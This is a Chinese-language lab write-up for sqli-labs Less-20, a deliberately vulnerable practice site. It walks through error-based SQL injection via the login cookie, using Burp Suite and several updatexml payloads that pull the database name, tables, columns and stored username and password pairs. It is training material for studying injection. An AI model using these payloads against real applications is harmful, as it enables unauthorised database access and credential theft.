sqli-labs Less-20 POST-Cookie injections-uagent field-error based

POST方式,基于报错的cookie注入
1、页面分析
登陆成功后,页面会显示cookie信息,判断为登陆成功后,在cookie处存在注入点。
在这里插入图片描述

2、注入点分析
用burpsuit 拦截,放行2次后,cookie处出现uname信息
在这里插入图片描述

将报文发送到repeater后,在uname=admin处加上单引号,send后返回报错信息
在这里插入图片描述
在这里插入图片描述

可判断此处存在注入点。

3、获取数据库信息

3.1获取数据库名

’ or updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)#
在这里插入图片描述

3.2获取表名
’ or updatexml(1,concat(0x7e,(SELECT table_name from information_schema.tables where table_schema=database() limit 3,1),0x7e),1)#
在这里插入图片描述

3.3 获取表的字段

’ or updatexml(1,concat(0x7e,(SELECT column_name from information_schema.columns where table_name=‘users’ limit 4,1),0x7e),1)#
在这里插入图片描述

’ or updatexml(1,concat(0x7e,(SELECT column_name from information_schema.columns where table_name=‘users’ limit 5,1),0x7e),1)#
在这里插入图片描述

3.4 获取username, password数据
’ or updatexml(1,concat(0x7e,(SELECT concat(username,’|’,password) from users limit 4,1),0x7e),1)#

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值